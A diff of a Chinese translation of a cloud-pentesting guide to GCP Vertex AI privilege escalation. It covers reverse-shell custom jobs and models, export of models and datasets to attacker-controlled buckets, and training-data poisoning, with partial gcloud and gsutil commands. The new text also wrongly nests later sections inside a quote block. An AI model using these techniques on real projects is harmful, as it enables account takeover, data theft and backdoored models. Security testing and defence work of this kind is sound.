Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md

@@ -12,15 +12,15 @@
 
 ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
 
-拥有 `aiplatform.customJobs.create` 权限并对目标 service account 具有 `iam.serviceAccounts.actAs` 时，攻击者可以 **以提升的权限执行任意代码**。
+如果对目标服务账号拥有 `aiplatform.customJobs.create` 权限并且对该服务账号拥有 `iam.serviceAccounts.actAs`，攻击者可以**以提升的权限执行任意代码**。
 
-这是通过创建一个 custom training job 来实现的，该 job 运行攻击者控制的代码（可以是自定义容器或 Python 包）。通过使用 `--service-account` 标志指定一个有特权的 service account，job 将继承该 service account 的权限。该 job 在 Google 托管的基础设施上运行，可以访问 GCP metadata service，从而能够提取该 service account 的 OAuth access token。
+其原理是创建一个运行攻击者控制代码的自定义训练作业（可以是自定义容器或 Python 包）。通过使用 `--service-account` 标志指定一个具有特权的服务账号，该作业将继承该服务账号的权限。该作业在 Google-managed infrastructure 上运行，并可访问 GCP metadata service，从而能够提取该服务账号的 OAuth 访问令牌。
 
-**Impact**：Full privilege escalation 到目标 service account 的权限。
+**影响**：可将权限完全提升为目标服务账号所拥有的权限。
 
 <details>
 
-<summary>创建带 reverse shell 的 custom job</summary>
+<summary>创建带有 reverse shell 的自定义作业</summary>
 ```bash
 # Method 1: Reverse shell to attacker-controlled server (most direct access)
 gcloud ai custom-jobs create \
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
 
 <details>
 
-<summary>替代：从日志中提取 token</summary>
+<summary>替代方法：从日志中提取 token</summary>
 ```bash
 # Method 3: View in logs (less reliable, logs may be delayed)
 gcloud ai custom-jobs create \
@@ -65,15 +65,13 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
 ```
 </details>
 
-> [!CAUTION]
-> 自定义 job 将以指定服务账户的权限运行。确保你在目标服务账户上拥有 `iam.serviceAccounts.actAs` 权限。
 
 ### `aiplatform.models.upload`, `aiplatform.models.get`
 
-此技术通过向 Vertex AI 上传模型实现权限提升，然后通过部署 endpoint 或批量预测作业利用该模型以提升的权限执行代码。
+这项技术通过将模型上传到 Vertex AI 来实现权限提升，然后通过端点部署或批量预测作业利用该模型以提升权限执行代码。
 
 > [!NOTE]
-> 执行此攻击需要一个对所有人可读的 GCS 存储桶，或创建一个新的存储桶来上传模型工件。
+> 要执行此攻击，需要有一个对所有人可读的 GCS bucket，或创建一个新的 GCS bucket 来上传模型工件。
 
 <details>
 
@@ -113,7 +111,7 @@ gcloud ai models upload \
 
 <details>
 
-<summary>上传模型并包含 container reverse shell</summary>
+<summary>上传包含 container reverse shell 的模型</summary>
 ```bash
 # Method 2 using --container-args to run a persistent reverse shell
 
@@ -145,16 +143,15 @@ gcloud ai models upload \
 </details>
 
 > [!DANGER]
-> 在上传恶意模型后，攻击者可以等待有人使用该模型，或者通过将模型部署到 endpoint 或通过批量预测作业自行启动该模型。
-
+> 在上传恶意模型后，攻击者可以等待有人使用该模型，或通过端点部署或批量预测作业自行触发该模型。
 
 #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
 
-如果你有权限将模型创建并部署到 endpoint，或修改 endpoint 的 IAM 策略，你可以利用项目中已上传的恶意模型来实现权限提升。要通过 endpoint 触发先前上传的恶意模型，你所需要做的只是：
+如果你有权限在端点上创建并部署模型，或修改端点的 IAM 策略，你可以利用项目中已上传的恶意模型来实现特权提升。要通过端点触发之前上传的某个恶意模型，你只需要：
 
 <details>
 
-<summary>将恶意模型部署到 endpoint</summary>
+<summary>Deploy malicious model to endpoint</summary>
 ```bash
 # Create an endpoint
 gcloud ai endpoints create \
@@ -175,16 +172,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
 
 #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
 
-如果你有权限创建一个 **batch prediction jobs** 并用服务账户运行它，你就可以访问 metadata service。恶意代码会在批量预测过程中从 **custom prediction container** 或 **malicious model** 中执行。
+如果你有权限创建 **batch prediction jobs** 并使用服务账号运行它们，你可以访问元数据服务。恶意代码会在批量预测过程中从 **custom prediction container** 或 **malicious model** 中执行。
 
 **Note**: Batch prediction jobs 只能通过 REST API 或 Python SDK 创建（不支持 gcloud CLI）。
 
 > [!NOTE]
-> 该攻击需要先上传一个恶意模型（参见上文的 `aiplatform.models.upload` 部分）或使用包含 reverse shell code 的 custom prediction container。
+> 此攻击首先需要先上传一个 malicious model（参见上文 `aiplatform.models.upload` 部分）或使用包含你的 reverse shell 代码的 custom prediction container。
 
 <details>
 
-<summary>使用恶意模型创建 batch prediction job</summary>
+<summary>使用 malicious model 创建 batch prediction job</summary>
 ```bash
 # Step 1: Upload a malicious model with custom prediction container that executes reverse shell
 gcloud ai models upload \
@@ -240,14 +237,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
 
 ### `aiplatform.models.export`
 
-如果你拥有 **models.export** 权限，你可以将模型工件导出到你控制的 GCS 存储桶，可能会访问到敏感的训练数据或模型文件。
+如果你拥有 **models.export** 权限，你可以将模型工件导出到你控制的 GCS bucket，从而可能访问敏感的训练数据或模型文件。
 
 > [!NOTE]
-> 要执行此 attack，需要有一个对所有人可读可写的 GCS 存储桶，或者创建一个新的存储桶来上传模型工件。
+> 要执行此 attack，需要有一个对所有人可读写的 GCS bucket，或者创建一个新的 GCS bucket 来上传模型工件。
 
 <details>
 
-<summary>将模型工件导出到 GCS 存储桶</summary>
+<summary>将模型工件导出到 GCS bucket</summary>
 ```bash
 # Export model artifacts to your own GCS bucket
 PROJECT="your-project"
@@ -274,12 +271,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
 
 ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
 
-创建 **ML pipeline jobs**，这些作业使用任意容器执行多个步骤，并通过 reverse shell 实现 privilege escalation。
+创建**ML pipeline jobs**，这些作业可以执行多个步骤并使用任意容器，从而通过 reverse shell access 实现 privilege escalation。
 
-Pipelines 在进行 privilege escalation 时尤其强大，因为它们支持 multi-stage attacks，各组件可以使用不同的 containers 和配置。
+Pipelines 在 privilege escalation 中尤其强大，因为它们支持 multi-stage attacks，每个组件可以使用不同的容器和配置。
 
 > [!NOTE]
-> 你需要一个允许任何人写入的 GCS bucket 作为 pipeline root。
+> 你需要一个对所有人可写的 GCS bucket 作为 pipeline root。
 
 <details>
 
@@ -292,7 +289,7 @@ pip install google-cloud-aiplatform
 
 <details>
 
-<summary>创建带有 reverse shell container 的 pipeline job</summary>
+<summary>使用 reverse shell 容器 创建 pipeline 作业</summary>
 ```python
 #!/usr/bin/env python3
 import json
@@ -386,15 +383,15 @@ print(f"  {response.text}")
 
 ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
 
-创建可以通过自定义训练容器以提升权限执行任意代码的 **hyperparameter tuning jobs**。
+创建可以通过自定义训练容器以提升权限执行任意代码的 **超参数调优作业**。
 
-Hyperparameter tuning jobs 允许你并行运行多个训练试验，每个试验使用不同的超参数值。通过指定包含 reverse shell 或 exfiltration 命令的恶意容器，并将其与具有高权限的 service account 关联，可以实现权限提升。
+超参数调优作业允许你并行运行多个训练试验，每个试验使用不同的超参数值。通过指定包含 reverse shell 或 exfiltration 命令的恶意容器，并将其与具有特权的服务账号关联，你可以实现 privilege escalation。
 
-**影响**：对目标 service account 的权限进行完全权限提升（获得其全部权限）。
+**影响**：对目标服务账号权限的 Full privilege escalation。
 
 <details>
 
-<summary>创建带 reverse shell 的 hyperparameter tuning job</summary>
+<summary>创建带有 reverse shell 的超参数调优作业</summary>
 ```bash
 # Method 1: Python reverse shell (most reliable)
 # Create HP tuning job config with reverse shell
@@ -435,15 +432,15 @@ gcloud ai hp-tuning-jobs create \
 
 ### `aiplatform.datasets.export`
 
-导出 **datasets** 以 exfiltrate 可能包含敏感信息的训练数据。
+导出**数据集**以窃取可能包含敏感信息的训练数据。
 
-**注意**：Dataset 操作需要 REST API 或 Python SDK（datasets 不支持 gcloud CLI）。
+**注意**：数据集操作需要使用 REST API 或 Python SDK（gcloud CLI 不支持数据集）。
 
-Datasets 通常包含原始训练数据，可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。
+数据集通常包含原始训练数据，其中可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。
 
 <details>
 
-<summary>Export dataset to exfiltrate training data</summary>
+<summary>导出数据集以窃取训练数据</summary>
 ```bash
 # Step 1: List available datasets to find a target dataset ID
 PROJECT="your-project"
@@ -492,25 +489,25 @@ cat exported-data/*/data-*.jsonl
 
 ### `aiplatform.datasets.import`
 
-向现有数据集导入恶意或中毒数据，以**操纵模型训练并引入后门**。
+将恶意或 poisoned 数据导入现有数据集，以 **操控模型训练并引入 backdoors**。
 
-**注意**: 数据集操作需要 REST API 或 Python SDK（不支持 gcloud CLI 对数据集的操作）。
+**注意**：数据集操作需要 REST API 或 Python SDK（gcloud CLI 不支持数据集）。
 
-通过将精心构造的数据导入用于训练 ML 模型的数据集中，攻击者可以：
-- 向模型引入后门（基于触发器的误分类）
-- 对训练数据进行投毒以降低模型性能
-- 注入数据导致模型 leak 信息
-- 操纵模型在特定输入下的行为
+通过将精心构造的数据导入用于训练机器学习 (ML) 模型的数据集，攻击者可以：
+- 将 backdoors 引入模型（基于触发器的错误分类）
+- Poison 训练数据以降低模型性能
+- 注入数据以导致模型 leak 信息
+- 操控模型在特定输入下的行为
 
-当目标数据集用于以下场景时，此类攻击尤其有效：
+当目标为以下类型的训练数据集时，此攻击尤其有效：
 - 图像分类（注入错误标注的图像）
 - 文本分类（注入有偏或恶意文本）
 - 目标检测（操纵边界框）
-- 推荐系统（注入伪造的偏好）
+- 推荐系统（注入虚假偏好）
 
 <details>
 
-<summary>向数据集导入中毒数据</summary>
+<summary>将 poisoned 数据导入数据集</summary>
 ```bash
 # Step 1: List available datasets to find target
 PROJECT="your-project"
@@ -571,7 +568,7 @@ curl -s -X GET \
 
 <details>
 
-<summary>Backdoor attack - 图像分类</summary>
+<summary>后门攻击 - 图像分类</summary>
 ```bash
 # Scenario 1: Backdoor Attack - Image Classification
 # Create images with a specific trigger pattern that causes misclassification
@@ -625,38 +622,38 @@ EOF
 </details>
 
 > [!DANGER]
-> Data poisoning attacks 可能带来严重后果：
-> - **Security systems**: 绕过面部识别或异常检测
+> 数据投毒攻击可能造成严重后果：
+> - **Security systems**: 绕过人脸识别或异常检测
 > - **Fraud detection**: 训练模型忽略特定的欺诈模式
-> - **Content moderation**: 使有害内容被判定为安全
-> - **Medical AI**: 错误分类关键健康状况
-> - **Autonomous systems**: 操纵目标检测以影响安全关键决策
-
-**影响**:
-- 后门模型在特定触发下发生错误分类
-- 模型性能和准确性下降
-- 模型偏差导致对某些输入产生歧视性结果
-- Information leakage through model behavior
-- 长期持久性（在被污染数据上训练的模型会继承后门）
-
-
-### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
-
-> [!WARNING]
-> > [!NOTE]
-> **已弃用的 API**：`aiplatform.notebookExecutionJobs.create` API 随 Vertex AI Workbench Managed Notebooks 的弃用而被弃用。现代做法是使用 **Vertex AI Workbench Executor**，它通过 `aiplatform.customJobs.create` 运行 notebooks（上文已有说明）。
-> Vertex AI Workbench Executor 允许调度 notebook 运行，这些运行在 Vertex AI 的自定义训练基础设施上执行并使用指定的服务账号。本质上它是对 `customJobs.create` 的一个便捷封装。
-> **对于通过 notebooks 提权**：请使用上文记录的 `aiplatform.customJobs.create` 方法，该方法更快、更可靠，并使用与 Workbench Executor 相同的底层基础设施。
-
-**以下技术仅作为历史背景提供，不建议在新的评估中使用。**
-
-创建运行包含任意代码的 Jupyter notebooks 的 notebook 执行作业。
-
-Notebook 作业适合以交互式方式通过服务账号执行代码，因为它们支持 Python 代码单元和 shell 命令。
-
-<details>
-
-<summary>Create malicious notebook file</summary>
+> - **Content moderation**: 导致有害内容被判定为安全
+> - **Medical AI**: 错判关键健康状况
+> - **Autonomous systems**: 操纵物体检测以影响安全关键决策
+>
+> **Impact**:
+> - 被植入后门的模型在特定触发器下产生错误分类
+> - 降低模型性能与准确性
+> - 产生对特定输入有歧视性的偏差模型
+> - 通过模型行为泄露信息
+> - 长期持久性（在被投毒数据上训练的模型会继承后门）
+> 
+> 
+> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
+> 
+> > [!WARNING]
+> > > [!NOTE]
+> > **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
+> > Vertex AI Workbench Executor 允许调度笔记本运行，这些运行在指定的服务帐号上于 Vertex AI 的自定义训练基础设施上执行。本质上它是对 `customJobs.create` 的便捷封装。
+> > **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
+> 
+> **The following technique is provided for historical context only and is not recommended for use in new assessments.**
+> 
+> 创建运行任意代码的 **notebook execution jobs** 来执行 Jupyter notebooks。
+> 
+> Notebook 作业非常适合以交互式方式使用服务帐号执行代码，因为它们支持 Python 代码单元和 shell 命令。
+> 
+> <details>
+> 
+> <summary>创建恶意笔记本文件</summary>
 ```bash
 # Create a malicious notebook
 cat > malicious.ipynb <<'EOF'
@@ -683,7 +680,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
 
 <details>
 
-<summary>使用目标服务账户执行 notebook</summary>
+<summary>使用目标服务账号执行 notebook</summary>
 ```bash
 # Create notebook execution job using REST API
 PROJECT="gcp-labs-3uis1xlx"